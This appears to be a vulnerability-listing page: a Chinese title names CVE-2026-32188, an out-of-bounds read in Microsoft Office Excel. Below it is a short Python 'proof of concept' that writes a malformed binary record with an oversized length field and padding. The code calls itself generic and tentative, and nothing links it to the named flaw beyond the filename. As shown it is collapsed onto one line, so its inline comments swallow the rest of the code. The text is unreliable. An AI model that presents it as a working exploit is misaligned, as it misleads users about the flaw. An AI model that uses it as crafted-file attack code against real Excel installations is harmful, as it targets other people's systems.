CVE-2026-32188 Microsoft Office Excel越界读取漏洞

import struct # This is a generic PoC demonstration for an Out-of-Bounds Read vulnerability in Excel. # It creates a malformed file structure that might trigger the parsing logic. def create_malicious_file(filename): with open(filename, 'wb') as f: # Simulate a header with an invalid length field # Record Type (2 bytes) + Length (2 bytes) f.write(struct.pack('<H', 0x0010)) # Example Record Type # Set a large length to potentially trigger OOB read f.write(struct.pack('<H', 0xFFFF)) # Write some padding data f.write(b'A' * 0x10) print(f"[+] Potential PoC file generated: {filename}") if __name__ == "__main__": create_malicious_file('cve_2026_32188_poc.bin')